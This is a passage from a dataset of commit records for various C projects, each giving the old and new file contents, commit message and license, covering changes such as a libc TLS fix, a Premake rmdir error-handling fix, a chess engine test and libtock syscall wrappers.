  modify it under the terms of the GNU Lesser General Public\n   License as published by the Free Software Foundation; either\n   version 2.1 of the License, or (at your option) any later version.\n\n   The GNU C Library is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n   Lesser General Public License for more details.\n\n   You should have received a copy of the GNU Lesser General Public\n   License along with the GNU C Library; see the file COPYING.LIB.  If\n   not, see <http:\/\/www.gnu.org\/licenses\/>.  *\/\n\n\/* Value passed to 'clone' for initialization of the thread register.  *\/\n#define TLS_VALUE ((void *) (pd) \\\n\t\t   + TLS_PRE_TCB_SIZE + TLS_INIT_TCB_SIZE)\n\n\/* Get the real implementation.  *\/\n#include <sysdeps\/pthread\/createthread.c>\n","subject":"Fix tls value passed during clone","message":"or1k: Fix tls value passed during clone\n\nFrom or1k-glibc from blueCmd, his commit \"Fix TLS, removed too much in\nrebase\".\n\nSigned-off-by: Stafford Horne <799c89d5f62c643afb21c1a3622a07adef444e16@gmail.com>\n","lang":"C","license":"lgpl-2.1","repos":"wbx-github\/uclibc-ng,wbx-github\/uclibc-ng,kraj\/uclibc-ng,kraj\/uclibc-ng,wbx-github\/uclibc-ng,kraj\/uclibc-ng,kraj\/uclibc-ng,wbx-github\/uclibc-ng"}
{"commit":"fa36679e7d19880c54a222262e6cbd8a46b845cc","old_file":"src\/chicken-o-clock.c","new_file":"src\/chicken-o-clock.c","old_contents":"#include <pebble.h>\n\nstatic void init(){\n}\n\nstatic void deinit(){\n}\n\nint main(void){\n  init();\n  app_event_loop();\n  deinit();\n}\n","new_contents":"#include <pebble.h>\n\nstatic Window *main_window;\n\nstatic void main_window_load(){\n}\n\nstatic void main_window_unload(){\n}\n\nstatic void init(){\n  main_window = window_create();\n\n  window_set_window_handlers(main_window, (WindowHandlers) {\n      .load   = main_window_load,\n      .unload = main_window_unload\n  });\n\n  window_stack_push(main_window, true);\n}\n\nstatic void deinit(){\n  window_destroy(main_window);\n}\n\nint main(void){\n  init();\n  app_event_loop();\n  deinit();\n}\n","subject":"Create an initial blank window","message":"Create an initial blank window\n","lang":"C","license":"mit","repos":"dvberkel\/chicken-o-clock,dvberkel\/chicken-o-clock"}
{"commit":"4a3104b785f113778fd8d1dcade763b67235c4c9","old_file":"src\/host\/os_rmdir.c","new_file":"src\/host\/os_rmdir.c","old_contents":"\/**\n * \\file   os_rmdir.c\n * \\brief  Remove a subdirectory.\n * \\author Copyright (c) 2002-2008 Jason Perkins and the Premake project\n *\/\n\n#include <stdlib.h>\n#include \"premake.h\"\n\n\nint os_rmdir(lua_State* L)\n{\n\tint z;\n\tconst char* path = luaL_checkstring(L, 1);\n\n#if PLATFORM_WINDOWS\n\tz = RemoveDirectory(path);\n#else\n\tz = rmdir(path);\n#endif\n\n\tif (!z)\n\t{\n\t\tlua_pushnil(L);\n\t\tlua_pushfstring(L, \"unable to remove directory '%s'\", path);\n\t\treturn 2;\n\t}\n\telse\n\t{\n\t\tlua_pushboolean(L, 1);\n\t\treturn 1;\n\t}\n}\n","new_contents":"\/**\n * \\file   os_rmdir.c\n * \\brief  Remove a subdirectory.\n * \\author Copyright (c) 2002-2013 Jason Perkins and the Premake project\n *\/\n\n#include <stdlib.h>\n#include \"premake.h\"\n\n\nint os_rmdir(lua_State* L)\n{\n\tint z;\n\tconst char* path = luaL_checkstring(L, 1);\n\n#if PLATFORM_WINDOWS\n\tz = RemoveDirectory(path);\n#else\n\tz = (0 == rmdir(path));\n#endif\n\n\tif (!z)\n\t{\n\t\tlua_pushnil(L);\n\t\tlua_pushfstring(L, \"unable to remove directory '%s'\", path);\n\t\treturn 2;\n\t}\n\telse\n\t{\n\t\tlua_pushboolean(L, 1);\n\t\treturn 1;\n\t}\n}\n","subject":"Fix error result handling in os.rmdir()","message":"Fix error result handling in os.rmdir()\n","lang":"C","license":"bsd-3-clause","repos":"Lusito\/premake,annulen\/premake,Lusito\/premake,warrenseine\/premake,Lusito\/premake,annulen\/premake,warrenseine\/premake,warrenseine\/premake,Lusito\/premake,annulen\/premake,annulen\/premake"}
{"commit":"bbda514efc294e9c1235f7dbd3f8aa246c711f87","old_file":"server\/src\/apache\/analyzer\/detail\/session_length.h","new_file":"server\/src\/apache\/analyzer\/detail\/session_length.h","old_contents":"\/*\n * Copyright 2016 Adam Chyła, adam@chyla.org\n * All rights reserved. Distributed under the terms of the MIT License.\n *\/\n\n#ifndef SRC_APACHE_ANALYZER_DETAIL_SESSION_LENGTH_H\n#define SRC_APACHE_ANALYZER_DETAIL_SESSION_LENGTH_H\n\nnamespace apache\n{\n\nnamespace analyzer\n{\n\nnamespace detail\n{\n\nconstexpr int SESSION_LENGTH = 3 * 60;\n\n}\n\n}\n\n}\n\n#endif \/* SRC_APACHE_ANALYZER_DETAIL_SESSION_LENGTH_H *\/\n","new_contents":"\/*\n * Copyright 2016 Adam Chyła, adam@chyla.org\n * All rights reserved. Distributed under the terms of the MIT License.\n *\/\n\n#ifndef SRC_APACHE_ANALYZER_DETAIL_SESSION_LENGTH_H\n#define SRC_APACHE_ANALYZER_DETAIL_SESSION_LENGTH_H\n\nnamespace apache\n{\n\nnamespace analyzer\n{\n\nnamespace detail\n{\n\nconstexpr int SESSION_LENGTH = 60;\n\n}\n\n}\n\n}\n\n#endif \/* SRC_APACHE_ANALYZER_DETAIL_SESSION_LENGTH_H *\/\n","subject":"Change session length to 60s","message":"Change session length to 60s\n","lang":"C","license":"mit","repos":"chyla\/pat-lms,chyla\/pat-lms,chyla\/slas,chyla\/pat-lms,chyla\/pat-lms,chyla\/slas,chyla\/slas,chyla\/slas,chyla\/pat-lms,chyla\/pat-lms,chyla\/slas,chyla\/pat-lms,chyla\/slas,chyla\/slas"}
{"commit":"8a397aa96cb515c02e73e69fb30ffbe546f366d0","old_file":"main.c","new_file":"main.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <ncurses.h>\n\nint main() {\n    \/\/ inicializa o ncurses\n    initscr();\n\n    \/\/ printa para o buffer do ncurses, note que nao foi \"renderizado\" ainda;\n    printw(\"Hello World!\");\n\n    \/\/ manda para o console, \"print real\"\n    refresh();\n\n    \/\/ espera pelo input to usuario\n    getch();\n\n    \/\/ para o ncurses\n    endwin();\n\n    return 0;\n}\n","subject":"Add hello world ncurses to augusto\/c\/trabalhos","message":"Add hello world ncurses to augusto\/c\/trabalhos\n","lang":"C","license":"mit","repos":"MtMercer\/ncurses-space-invaders"}
{"commit":"31c08cd7045eef9e07b47b95c5aad262a91c6a2d","old_file":"test\/testquazip.h","new_file":"test\/testquazip.h","old_contents":"#ifndef QUAZIP_TEST_QUAZIP_H\n#define QUAZIP_TEST_QUAZIP_H\n\n#include <QObject>\n\nclass TestQuaZip: public QObject {\n    Q_OBJECT\nprivate slots:\n    void getFileList_data();\n    void getFileList();\n    void getZip();\n};\n\n#endif \/\/ QUAZIP_TEST_QUAZIP_H\n","new_contents":"#ifndef QUAZIP_TEST_QUAZIP_H\n#define QUAZIP_TEST_QUAZIP_H\n\n#include <QObject>\n\nclass TestQuaZip: public QObject {\n    Q_OBJECT\nprivate slots:\n    void getFileList_data();\n    void getFileList();\n};\n\n#endif \/\/ QUAZIP_TEST_QUAZIP_H\n","subject":"Remove getZip() which got there by mistake","message":"Remove getZip() which got there by mistake\n\ngit-svn-id: edbdc1cf2cca1c18f0f99391097ecab15c7e2ce6@113 099aeb50-083e-4d2c-9476-aff1b66fa4c7\n","lang":"C","license":"lgpl-2.1","repos":"xhochy\/quazip-qt5port,xhochy\/quazip-qt5port,xhochy\/quazip-qt5port"}
{"commit":"be4ff378b65a1d61189adac411994f4db2819b4d","old_file":"src\/qt-ui\/basicui.h","new_file":"src\/qt-ui\/basicui.h","old_contents":"\n#ifndef BASICUI_H_\n#define BASICUI_H_\n\n#include <QMainWindow>\n\nclass MainWidget;\nclass Workspace;\n\nclass BasicUi: public QMainWindow {\n\n    Q_OBJECT\n\n    public:\n        BasicUi(QWidget *parent = 0);\n        void setWorkspace(Workspace *);\n\n    private:\n        MainWidget *mainWidget;\n        \/\/ QGridLayout  *layout;\n        \/\/ QPushButton  *editModeButton;\n        \/\/ EditWidget  *editWidget;\n        \/\/ PlayWidget  *playWidget;\n        \/\/ bool editMode;\n        \/\/ Workspace *wsp;\n        \/\/ Controller *controller;\n};\n\n#endif\n","new_contents":"\n#ifndef BASICUI_H_\n#define BASICUI_H_\n\n#include <QMainWindow>\n\nclass MainWidget;\nclass Workspace;\n\nclass BasicUi: public QMainWindow {\n\n    Q_OBJECT\n\n    public:\n        BasicUi(QWidget *parent = 0);\n        void setWorkspace(Workspace *);\n        ~BasicUi(){\n            if(NULL != mainWidget)\n                delete mainWidget;\n        }\n\n    private:\n        MainWidget *mainWidget;\n        \/\/ QGridLayout  *layout;\n        \/\/ QPushButton  *editModeButton;\n        \/\/ EditWidget  *editWidget;\n        \/\/ PlayWidget  *playWidget;\n        \/\/ bool editMode;\n        \/\/ Workspace *wsp;\n        \/\/ Controller *controller;\n};\n\n#endif\n","subject":"Delete main widget in BasicUi","message":"Delete main widget in BasicUi","lang":"C","license":"apache-2.0","repos":"jbruggem\/jingles-impro,jbruggem\/jingles-impro,jbruggem\/jingles-impro"}
{"commit":"622bfc8421b63660e392f8876470e71171fedb67","old_file":"test\/Driver\/hello.c","new_file":"test\/Driver\/hello.c","old_contents":"","new_contents":"\/\/ RUN: clang-driver -ccc-echo -o %t %s &> %t.log &&\n\n\/\/ Make sure we used clang.\n\/\/ RUN: grep 'clang\" .*hello.c' %t.log &&\n\n\/\/ RUN: %t > %t.out &&\n\/\/ RUN: grep \"I'm a little driver, short and stout.\" %t.out\n\n#include <stdio.h>\n\nint main() {\n  printf(\"I'm a little driver, short and stout.\");\n  return 0;\n}\n","subject":"Add simple test case to make sure driver can generate executables. - Hopefully Chris can pardon one executable test.","message":"Add simple test case to make sure driver can generate executables.\n - Hopefully Chris can pardon one executable test.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@67251 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"fdedf259d183e523e0f4837cc6a8dd3b4e97a815","old_file":"core\/metautils\/src\/complexLinkdef.h","new_file":"core\/metautils\/src\/complexLinkdef.h","old_contents":"","new_contents":"#include <complex>\n#ifndef __hpux\nusing namespace std;\n#endif\n\n#pragma create TClass std::complex<int>+;\n#pragma create TClass std::complex<long>+;\n#pragma create TClass std::complex<float>+;\n#pragma create TClass std::complex<double>+;\n\n#ifdef G__NATIVELONGLONG\n#pragma create TClass std::complex<long long>+;\n\/\/ #pragma create TClass std::complex<long double>+;\n#endif","subject":"Add missing new files for revision 32092","message":"Add missing new files for revision 32092\n\n\ngit-svn-id: acec3fd5b7ea1eb9e79d6329d318e8118ee2e14f@32093 27541ba8-7e3a-0410-8455-c3a389f83636\n","lang":"C","license":"lgpl-2.1","repos":"Y--\/root,evgeny-boger\/root,Dr15Jones\/root,gganis\/root,cxx-hep\/root-cern,Y--\/root,smarinac\/root,kirbyherm\/root-r-tools,mkret2\/root,georgtroska\/root,tc3t\/qoot,sirinath\/root,root-mirror\/root,Duraznos\/root,pspe\/root,davidlt\/root,beniz\/root,Dr15Jones\/root,simonpf\/root,sbinet\/cxx-root,omazapa\/root,thomaskeck\/root,gganis\/root,gganis\/root,zzxuanyuan\/root-compressor-dummy,zzxuanyuan\/root-compressor-dummy,mkret2\/root,georgtroska\/root,lgiommi\/root,karies\/root,sirinath\/root,gbitzes\/root,sbinet\/cxx-root,alexschlueter\/cern-root,krafczyk\/root,mhuwiler\/rootauto,omazapa\/root,BerserkerTroll\/root,veprbl\/root,olifre\/root,lgiommi\/root,dfunke\/root,satyarth934\/root,Duraznos\/root,sbinet\/cxx-root,lgiommi\/root,mattkretz\/root,abhinavmoudgil95\/root,gganis\/root,zzxuanyuan\/root-compressor-dummy,vukasinmilosevic\/root,beniz\/root,dfunke\/root,mkret2\/root,evgeny-boger\/root,satyarth934\/root,zzxuanyuan\/root,smarinac\/root,vukasinmilosevic\/root,mkret2\/root,omazapa\/root,buuck\/root,vukasinmilosevic\/root,veprbl\/root,olifre\/root,buuck\/root,kirbyherm\/root-r-tools,olifre\/root,beniz\/root,karies\/root,simonpf\/root,esakellari\/root,mattkretz\/root,strykejern\/TTreeReader,perovic\/root,vukasinmilosevic\/root,Dr15Jones\/root,jrtomps\/root,lgiommi\/root,Y--\/root,omazapa\/root-old,esakellari\/my_root_for_test,agarciamontoro\/root,omazapa\/root,jrtomps\/root,mattkretz\/root,Y--\/root,abhinavmoudgil95\/root,BerserkerTroll\/root,sawenzel\/root,nilqed\/root,strykejern\/TTreeReader,pspe\/root,jrtomps\/root,mkret2\/root,nilqed\/root,evgeny-boger\/root,BerserkerTroll\/root,omazapa\/root-old,satyarth934\/root,arch1tect0r\/root,lgiommi\/root,BerserkerTroll\/root,evgeny-boger\/root,Duraznos\/root,gbitzes\/root,abhinavmoudgil95\/root,veprbl\/root,karies\/root,tc3t\/qoot,davidlt\/root,dfunke\/root,simonpf\/root,evgeny-boger\/root,esakellari\/my_root_for_test,sirinath\/root,agarciamontoro\/root,smarinac\/root,vukasinmilosevic\/root,karies\/root,evgeny-boger\/root,dfunke\/root,buuck\/root,sbinet\/cxx-root,bbockelm\/root,davidlt\/root,sbinet\/cxx-root,mattkretz\/root,sbinet\/cxx-root,CristinaCristescu\/root,root-mirror\/root,veprbl\/root,root-mirror\/root,abhinavmoudgil95\/root,krafczyk\/root,veprbl\/root,0x0all\/ROOT,agarciamontoro\/root,zzxuanyuan\/root,abhinavmoudgil95\/root,olifre\/root,evgeny-boger\/root,Duraznos\/root,gganis\/root,cxx-hep\/root-cern,agarciamontoro\/root,Duraznos\/root,perovic\/root,perovic\/root,esakellari\/my_root_for_test,smarinac\/root,georgtroska\/root,beniz\/root,mhuwiler\/rootauto,CristinaCristescu\/root,evgeny-boger\/root,ffurano\/root5,sirinath\/root,karies\/root,dfunke\/root,alexschlueter\/cern-root,sirinath\/root,georgtroska\/root,arch1tect0r\/root,buuck\/root,CristinaCristescu\/root,simonpf\/root,buuck\/root,CristinaCristescu\/root,dfunke\/root,georgtroska\/root,strykejern\/TTreeReader,gganis\/root,root-mirror\/root,nilqed\/root,satyarth934\/root,lgiommi\/root,esakellari\/my_root_for_test,arch1tect0r\/root,satyarth934\/root,arch1tect0r\/root,gbitzes\/root,smarinac\/root,smarinac\/root,BerserkerTroll\/root,jrtomps\/root,satyarth934\/root,evgeny-boger\/root,Duraznos\/root,tc3t\/qoot,esakellari\/my_root_for_test,pspe\/root,cxx-hep\/root-cern,bbockelm\/root,vukasinmilosevic\/root,olifre\/root,olifre\/root,CristinaCristescu\/root,perovic\/root,veprbl\/root,zzxuanyuan\/root,simonpf\/root,veprbl\/root,bbockelm\/root,davidlt\/root,mhuwiler\/rootauto,esakellari\/root,cxx-hep\/root-cern,satyarth934\/root,cxx-hep\/root-cern,omazapa\/root-old,tc3t\/qoot,cxx-hep\/root-cern,root-mirror\/root,bbockelm\/root,0x0all\/ROOT,omazapa\/root,sawenzel\/root,ffurano\/root5,veprbl\/root,davidlt\/root,thomaskeck\/root,thomaskeck\/root,mhuwiler\/rootauto,gbitzes\/root,Duraznos\/root,esakellari\/my_root_for_test,root-mirror\/root,lgiommi\/root,krafczyk\/root,Y--\/root,davidlt\/root,pspe\/root,jrtomps\/root,gganis\/root,esakellari\/root,beniz\/root,gganis\/root,pspe\/root,satyarth934\/root,simonpf\/root,Duraznos\/root,abhinavmoudgil95\/root,gganis\/root,davidlt\/root,davidlt\/root,perovic\/root,bbockelm\/root,tc3t\/qoot,alexschlueter\/cern-root,pspe\/root,omazapa\/root-old,beniz\/root,kirbyherm\/root-r-tools,alexschlueter\/cern-root,esakellari\/my_root_for_test,perovic\/root,esakellari\/root,perovic\/root,sbinet\/cxx-root,veprbl\/root,jrtomps\/root,sbinet\/cxx-root,abhinavmoudgil95\/root,CristinaCristescu\/root,gbitzes\/root,ffurano\/root5,abhinavmoudgil95\/root,olifre\/root,0x0all\/ROOT,sawenzel\/root,omazapa\/root-old,satyarth934\/root,BerserkerTroll\/root,buuck\/root,thomaskeck\/root,ffurano\/root5,mhuwiler\/rootauto,zzxuanyuan\/root-compressor-dummy,agarciamontoro\/root,omazapa\/root,tc3t\/qoot,gbitzes\/root,zzxuanyuan\/root,Y--\/root,smarinac\/root,georgtroska\/root,zzxuanyuan\/root,abhinavmoudgil95\/root,agarciamontoro\/root,simonpf\/root,0x0all\/ROOT,buuck\/root,kirbyherm\/root-r-tools,Duraznos\/root,satyarth934\/root,olifre\/root,sbinet\/cxx-root,karies\/root,vukasinmilosevic\/root,karies\/root,agarciamontoro\/root,esakellari\/root,smarinac\/root,Y--\/root,esakellari\/root,kirbyherm\/root-r-tools,esakellari\/my_root_for_test,vukasinmilosevic\/root,BerserkerTroll\/root,zzxuanyuan\/root-compressor-dummy,beniz\/root,tc3t\/qoot,agarciamontoro\/root,veprbl\/root,sirinath\/root,gbitzes\/root,zzxuanyuan\/root-compressor-dummy,root-mirror\/root,nilqed\/root,Y--\/root,Duraznos\/root,beniz\/root,mattkretz\/root,mhuwiler\/rootauto,BerserkerTroll\/root,beniz\/root,georgtroska\/root,mhuwiler\/rootauto,buuck\/root,ffurano\/root5,olifre\/root,omazapa\/root,zzxuanyuan\/root,thomaskeck\/root,gbitzes\/root,esakellari\/root,zzxuanyuan\/root,sawenzel\/root,buuck\/root,alexschlueter\/cern-root,zzxuanyuan\/root-compressor-dummy,gganis\/root,cxx-hep\/root-cern,zzxuanyuan\/root,root-mirror\/root,lgiommi\/root,0x0all\/ROOT,sawenzel\/root,jrtomps\/root,dfunke\/root,zzxuanyuan\/root-compressor-dummy,gbitzes\/root,root-mirror\/root,smarinac\/root,omazapa\/root-old,mattkretz\/root,sirinath\/root,perovic\/root,simonpf\/root,pspe\/root,nilqed\/root,agarciamontoro\/root,kirbyherm\/root-r-tools,nilqed\/root,krafczyk\/root,karies\/root,esakellari\/root,thomaskeck\/root,thomaskeck\/root,mhuwiler\/rootauto,bbockelm\/root,simonpf\/root,arch1tect0r\/root,Y--\/root,Y--\/root,karies\/root,omazapa\/root,strykejern\/TTreeReader,arch1tect0r\/root,jrtomps\/root,krafczyk\/root,esakellari\/my_root_for_test,mhuwiler\/rootauto,nilqed\/root,perovic\/root,sirinath\/root,bbockelm\/root,mkret2\/root,evgeny-boger\/root,esakellari\/root,alexschlueter\/cern-root,arch1tect0r\/root,arch1tect0r\/root,dfunke\/root,arch1tect0r\/root,vukasinmilosevic\/root,nilqed\/root,pspe\/root,zzxuanyuan\/root,smarinac\/root,thomaskeck\/root,tc3t\/qoot,krafczyk\/root,Dr15Jones\/root,davidlt\/root,bbockelm\/root,mkret2\/root,pspe\/root,sawenzel\/root,Dr15Jones\/root,lgiommi\/root,CristinaCristescu\/root,mhuwiler\/rootauto,root-mirror\/root,sawenzel\/root,mattkretz\/root,sirinath\/root,zzxuanyuan\/root,CristinaCristescu\/root,sawenzel\/root,omazapa\/root-old,mattkretz\/root,Y--\/root,BerserkerTroll\/root,evgeny-boger\/root,mattkretz\/root,agarciamontoro\/root,Duraznos\/root,perovic\/root,nilqed\/root,omazapa\/root-old,abhinavmoudgil95\/root,beniz\/root,davidlt\/root,davidlt\/root,Dr15Jones\/root,bbockelm\/root,CristinaCristescu\/root,dfunke\/root,omazapa\/root,mkret2\/root,mattkretz\/root,mattkretz\/root,esakellari\/root,karies\/root,pspe\/root,karies\/root,zzxuanyuan\/root-compressor-dummy,esakellari\/my_root_for_test,mkret2\/root,satyarth934\/root,omazapa\/root-old,dfunke\/root,CristinaCristescu\/root,lgiommi\/root,omazapa\/root,mkret2\/root,sawenzel\/root,beniz\/root,agarciamontoro\/root,pspe\/root,dfunke\/root,0x0all\/ROOT,alexschlueter\/cern-root,veprbl\/root,ffurano\/root5,perovic\/root,thomaskeck\/root,bbockelm\/root,nilqed\/root,sawenzel\/root,sirinath\/root,omazapa\/root,zzxuanyuan\/root,krafczyk\/root,0x0all\/ROOT,zzxuanyuan\/root-compressor-dummy,jrtomps\/root,olifre\/root,georgtroska\/root,arch1tect0r\/root,mkret2\/root,simonpf\/root,gganis\/root,0x0all\/ROOT,omazapa\/root-old,ffurano\/root5,Dr15Jones\/root,BerserkerTroll\/root,buuck\/root,omazapa\/root-old,georgtroska\/root,thomaskeck\/root,bbockelm\/root,cxx-hep\/root-cern,tc3t\/qoot,root-mirror\/root,CristinaCristescu\/root,olifre\/root,jrtomps\/root,gbitzes\/root,abhinavmoudgil95\/root,jrtomps\/root,georgtroska\/root,krafczyk\/root,strykejern\/TTreeReader,georgtroska\/root,strykejern\/TTreeReader,sbinet\/cxx-root,nilqed\/root,BerserkerTroll\/root,arch1tect0r\/root,krafczyk\/root,simonpf\/root,zzxuanyuan\/root-compressor-dummy,strykejern\/TTreeReader,0x0all\/ROOT,sirinath\/root,sawenzel\/root,tc3t\/qoot,kirbyherm\/root-r-tools,zzxuanyuan\/root,vukasinmilosevic\/root,gbitzes\/root,vukasinmilosevic\/root,esakellari\/root,sbinet\/cxx-root,krafczyk\/root,mhuwiler\/rootauto,lgiommi\/root,buuck\/root,krafczyk\/root"}
{"commit":"429c93cfa5745a9a37cb453a5fabb3eabf0a99cb","old_file":"lab1\/digenv.c","new_file":"lab1\/digenv.c","old_contents":"#include \"pipe.h\"\n\n#include <stdlib.h>\n#include <unistd.h>\n\nint main(int argc, char *argv[]) {\n\n    \/* Command argument vectors. *\/\n    char *more_argv[]     = { \"more\", NULL };\n    char *less_argv[]     = { \"less\", NULL };\n    char *pager_argv[]    = { getenv(\"PAGER\"), NULL };\n    char *sort_argv[]     = { \"sort\", NULL };\n    char *printenv_argv[] = { \"printenv\", NULL };\n    char **grep_argv      = argv;\n    grep_argv[0]          = \"grep\";\n\n    \/* Construct pipeline. *\/\n    \n    \/*                     file             argv           err  next    fallback *\/\n    command_t more     = { \"more\",          more_argv,     0,   NULL,   NULL};\n    command_t less     = { \"less\",          less_argv,     0,   NULL,   &more };\n    command_t pager    = { getenv(\"PAGER\"), pager_argv,    0,   NULL,   &less };\n    command_t sort     = { \"sort\",          sort_argv,     0,   &pager, NULL };\n    command_t grep     = { \"grep\",          grep_argv,     0,   &sort,  NULL };\n    command_t printenv = { \"printenv\",      printenv_argv, 0,   &sort,  NULL };\n\n    if (argc > 1) {\n        \/* Arguments given: Run grep as well. *\/\n        printenv.next = &grep;\n    }\n\n    \/* Run pipeline. *\/\n    run_pipeline(&printenv, STDIN_FILENO);\n\n    return 0;\n}\n\n","new_contents":"#include \"pipe.h\"\n\n#include <stdlib.h>\n#include <unistd.h>\n\nint main(int argc, char *argv[]) {\n    char *pager_env = getenv(\"PAGER\");\n\n    \/* Construct pipeline. *\/\n    \n    \/*                    file        argv                        err  next    fallback *\/\n    command_t more     = {\"more\",     (char *[]){\"more\", NULL},     0, NULL,   NULL};\n    command_t less     = {\"less\",     (char *[]){\"less\", NULL},     0, NULL,   &more};\n    command_t pager    = {pager_env,  (char *[]){pager_env, NULL},  0, NULL,   &less};\n    command_t sort     = {\"sort\",     (char *[]){\"sort\", NULL},     0, &pager, NULL};\n    command_t grep     = {\"grep\",     argv,                         0, &sort,  NULL};\n    command_t printenv = {\"printenv\", (char *[]){\"printenv\", NULL}, 0, &sort,  NULL};\n\n    if (argc > 1) {\n        \/* Arguments given: Run grep as well. *\/\n        printenv.next = &grep;\n        argv[0] = \"grep\";\n    }\n\n    \/* Run pipeline. *\/\n    run_pipeline(&printenv, STDIN_FILENO);\n\n    return 0;\n}\n","subject":"Initialize argv vectors using compound literals.","message":"Initialize argv vectors using compound literals.\n","lang":"C","license":"mit","repos":"estan\/ID2200,estan\/ID2200"}
{"commit":"44b70a9a88bb6a7ef70b4b6a7d011013c5930a0a","old_file":"src\/tests\/test_see.c","new_file":"src\/tests\/test_see.c","old_contents":"\/* Make sure assert is not disabled *\/\n#ifdef NDEBUG\n#undef NDEBUG\n#endif\n\n#include <stdio.h>\n#include <assert.h>\n#include \"see.h\"\n#include \"fen.h\"\n\nvoid test_see()\n{\n    chess_state_t s;\n    int result;\n    int pos_from = D3;\n    int pos_to = E5;\n    int type = KNIGHT;\n    int capture_type = PAWN;\n    int special = MOVE_CAPTURE;\n    move_t move =\n        pos_from << MOVE_POS_FROM_SHIFT |\n        pos_to << MOVE_POS_TO_SHIFT |\n        type << MOVE_TYPE_SHIFT |\n        capture_type << MOVE_CAPTURE_TYPE_SHIFT |\n        special << MOVE_SPECIAL_FLAGS_SHIFT;\n    assert(FEN_read(&s, \"1k1r3q\/1ppn3p\/p4b2\/4p3\/8\/P2N2P1\/1PP1R1BP\/2K1Q3 w - -\"));\n    result = see(&s, move);\n    assert(result == -225\/5);\n}\n\n\n\nint main()\n{\n    BITBOARD_init();\n\n    test_see();\n    \n    return 0;\n}\n","new_contents":"\/* Make sure assert is not disabled *\/\n#ifdef NDEBUG\n#undef NDEBUG\n#endif\n\n#include <stdio.h>\n#include <assert.h>\n#include \"see.h\"\n#include \"fen.h\"\n\nvoid test_see(const char *fen, short expected_result)\n{\n    chess_state_t s;\n    int result;\n    int pos_from = D3;\n    int pos_to = E5;\n    int type = KNIGHT;\n    int capture_type = PAWN;\n    int special = MOVE_CAPTURE;\n    move_t move =\n        pos_from << MOVE_POS_FROM_SHIFT |\n        pos_to << MOVE_POS_TO_SHIFT |\n        type << MOVE_TYPE_SHIFT |\n        capture_type << MOVE_CAPTURE_TYPE_SHIFT |\n        special << MOVE_SPECIAL_FLAGS_SHIFT;\n    assert(FEN_read(&s, fen));\n    result = see(&s, move);\n    printf(\"%s\\n\", fen);\n    printf(\"\\tresult %d (%d centipawns)\\n\", result, result*5);\n    assert(result == expected_result);\n}\n\n\n\nint main()\n{\n    BITBOARD_init();\n\n    test_see(\"1k1r3q\/1ppn3p\/p4b2\/4p3\/8\/P2N2P1\/1PP1R1BP\/2K1Q3 w - -\", -225\/5);\n    \n    return 0;\n}\n","subject":"Prepare for more SEE tests","message":"Prepare for more SEE tests\n","lang":"C","license":"mit","repos":"gustafullberg\/drosophila,gustafullberg\/drosophila,gustafullberg\/drosophila"}
{"commit":"e14f51a4248fe3c4f031a011b483947bfb2f2f5d","old_file":"libtock\/tock.c","new_file":"libtock\/tock.c","old_contents":"#include <inttypes.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <stdbool.h>\n#include \"tock.h\"\n\n#pragma GCC diagnostic ignored \"-Wunused-parameter\"\n\nvoid yield_for(bool *cond) {\n  while(!*cond) {\n    yield();\n  }\n}\n\nvoid yield() {\n  asm volatile(\"push {lr}\\nsvc 0\\npop {pc}\" ::: \"memory\", \"r0\");\n}\n\nint subscribe(uint32_t driver, uint32_t subscribe,\n              subscribe_cb cb, void* userdata) {\n  asm volatile(\"svc 1\\nbx lr\" ::: \"memory\", \"r0\");\n}\n\n\nint command(uint32_t driver, uint32_t command, int data) {\n  asm volatile(\"svc 2\\nbx lr\" ::: \"memory\", \"r0\");\n}\n\nint allow(uint32_t driver, uint32_t allow, void* ptr, size_t size) {\n  asm volatile(\"svc 3\\nbx lr\" ::: \"memory\", \"r0\");\n}\n\nint memop(uint32_t op_type, int arg1) {\n  asm volatile(\"svc 4\\nbx lr\" ::: \"memory\", \"r0\");\n}\n\nbool driver_exists(uint32_t driver) {\n  int ret = command(driver, 0, 0);\n  return ret >= 0;\n}\n","new_contents":"#include <inttypes.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <stdbool.h>\n#include \"tock.h\"\n\n#pragma GCC diagnostic ignored \"-Wunused-parameter\"\n\nvoid yield_for(bool *cond) {\n  while(!*cond) {\n    yield();\n  }\n}\n\nvoid yield() {\n  asm volatile(\"push {lr}\\nsvc 0\\npop {pc}\" ::: \"memory\", \"r0\");\n}\n\nint subscribe(uint32_t driver, uint32_t subscribe,\n              subscribe_cb cb, void* userdata) {\n  register int ret __asm__ (\"r0\");\n  asm volatile(\"svc 1\" ::: \"memory\", \"r0\");\n  return ret;\n}\n\n\nint command(uint32_t driver, uint32_t command, int data) {\n  register int ret __asm__ (\"r0\");\n  asm volatile(\"svc 2\\nbx lr\" ::: \"memory\", \"r0\");\n  return ret;\n}\n\nint allow(uint32_t driver, uint32_t allow, void* ptr, size_t size) {\n  register int ret __asm__ (\"r0\");\n  asm volatile(\"svc 3\\nbx lr\" ::: \"memory\", \"r0\");\n  return ret;\n}\n\nint memop(uint32_t op_type, int arg1) {\n  register int ret __asm__ (\"r0\");\n  asm volatile(\"svc 4\\nbx lr\" ::: \"memory\", \"r0\");\n  return ret;\n}\n\nbool driver_exists(uint32_t driver) {\n  int ret = command(driver, 0, 0);\n  return ret >= 0;\n}\n","subject":"Resolve 'control reaches end of non-void function'","message":"Resolve 'control reaches end of non-void function'\n\nFollowing http:\/\/stackoverflow.com\/questions\/15927583\/\n","lang":"C","license":"apache-2.0","repos":"tock\/libtock-c,tock\/libtock-c,tock\/libtock-c"}
